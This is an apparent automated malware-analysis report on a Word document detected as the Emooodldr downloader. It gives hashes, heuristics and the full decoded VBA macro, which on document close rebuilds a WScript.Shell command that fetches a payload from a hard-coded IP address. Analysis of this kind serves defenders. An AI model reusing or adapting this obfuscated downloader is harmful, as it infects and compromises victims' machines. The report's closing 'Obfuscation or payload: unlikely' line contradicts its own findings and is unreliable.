Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 b16db20a9a2e19b3…

MALICIOUS

Office (OOXML)

54.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-18
MD5: 136c2578fdd33600a0a41f4e4f52ab9c SHA-1: 4b5f0137640677356f0a93d09dde53ef7b9afd3c SHA-256: b16db20a9a2e19b318d0ecfd8e9253e16499d8498156bcad684c39a9b3c37c4e
322 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic firing for an obfuscated auto-exec VBA loader, specifically an Auto_Close macro that uses CreateObject to execute code. The VBA script attempts to download a payload from the reconstructed URL 'http://104.144.207.201/fBron/saste.php?aste=alegria'. This indicates a downloader functionality, consistent with the Emooodldr family identified by ClamAV.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2712 bytes
SHA-256: 549f0cc6feb80d3b51347aebbdd5348405ac81a33b9ce95662291ac554b2a805
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub gaelico()
 YCdrHDoFRMkQ = 1286 - 468 - 1318 - 701
WcwjIDoO = "J" & "R" & Trim("G") & "K"
BkdyKJT = 1398 + 173 + 462 + 1290
UoCUuvF = Trim("O") & "i" & Trim("P") & Trim("j")
ovDgZbnLVqZ = 1733 - 494 - 348 - 443

 alegria = "FGgSXkokWAKoUcubVNcHLRiZhfFoNVFEkMIbBuvpfUYqJWVHw hfFoNVFEkMIbBfFoNVFEkMIbBp://104.144.207.201/fFoNVFEkMIbBron/UcubVNcHLRiZfFoNVFEkMIbBuFKJjvjJugzAFGgSXkokWAKo.php?ufFoNVFEkMIbBFGgSXkokWAKouvpfUYqJWVHw=uvpfUYqJWVHwrnuFKJjvjJugzA"
alegria = Replace(alegria, "FGgSXkokWAKo", "m")
NzyQgQRSjPr = 1654 - 1276 - 1268 - 1622
CcUInKQJK = Trim("D") & "A" & "p" & "q" & "G"
OHqDKGoM = 925 - 131 - 1442 - 1224 - 32 - 109 - 884
YIiIRxHOjSWO = 634 + 162 + 1009 + 1886 + 1442 + 1763
alegria = Replace(alegria, "uvpfUYqJWVHw", "a")
alegria = Replace(alegria, "UcubVNcHLRiZ", "s")
alegria = Replace(alegria, "fFoNVFEkMIbB", "t")
SrwGiGf = 776 - 1593 - 1093 - 1768 - 1297
EopKTwLL = 1396 + 1730 + 973 + 1180 + 93
alegria = Replace(alegria, "uFKJjvjJugzA", "e")
AnCHFKJ = 1012 + 1344 + 684 + 1241 + 1164
alegria = Replace(alegria, "IzrvdQAkTzDT", "l")
GPkjXYbSy = 921 - 7 - 506
TiXPDQi = "O" & "S" & "n" & "q"
pxuLWxpOV = 1598 + 106 + 601 + 1263
VrMcRCT = 8 + 696 + 661

amovivel = "WScripYPoTUEXLxQSK.ShdZjkrIZkYYLdgMxUGkGxULExgMxUGkGxULEx"
amovivel = Replace(amovivel, "YMGGyYuTRULo", "m")
amovivel = Replace(amovivel, "jyQVQKdqLpOL", "a")
ZBJCyqX = 1330 - 820 - 771 - 517
amovivel = Replace(amovivel, "YyQzwxAOqHgi", "s")
amovivel = Replace(amovivel, "YPoTUEXLxQSK", "t")
MHrWTBp = Trim("P") & "J" & Trim("b") & "d"
TXkIUMWYv = 991 + 1866 + 1614 + 635 + 764
jBDNnUU = "g" & Trim("U") & "G" & "B"
amovivel = Replace(amovivel, "dZjkrIZkYYLd", "e")
BNIZTzyg = "z" & Trim("o") & Trim("Y") & Trim("F")
ijPqUpDPiI = 870 - 612 - 716 - 362 - 1418 - 1937 - 1663 - 1524
amovivel = Replace(amovivel, "gMxUGkGxULEx", "l")


 CreateObject(amovivel).Run alegria, 0
 gISGnnj = "T" & "X" & Trim("i") & Trim("q")
xfYoNnr = Trim("N") & "u" & "I"

End Sub

Sub AutoClose()

  AxfxvnBf = 19 + 213 + 1992 + 1691 + 585
pbbgvfVrg = 920 + 1055 + 681 + 385 + 1689 + 555
znDbOFKvHPFc = 1382 + 1231 + 313 + 402
UgJORLdXWg = 1498 - 996 - 466 - 462

  Application.Run "gaelico"
  jLEnbYYH = Trim("X") & "Z" & Trim("C") & "r"
gKEDPibon = Trim("E") & "P" & Trim("c") & "u" & Trim("P") & "G"
yFLXZzRMU = "i" & "L" & "F" & Trim("Y") & "C"
XqxQEVP = "W" & "Q" & Trim("Z")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 9639044794b5c84d6e9e94e52cc701806294497f50e97921b53d7fbd14af1949
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely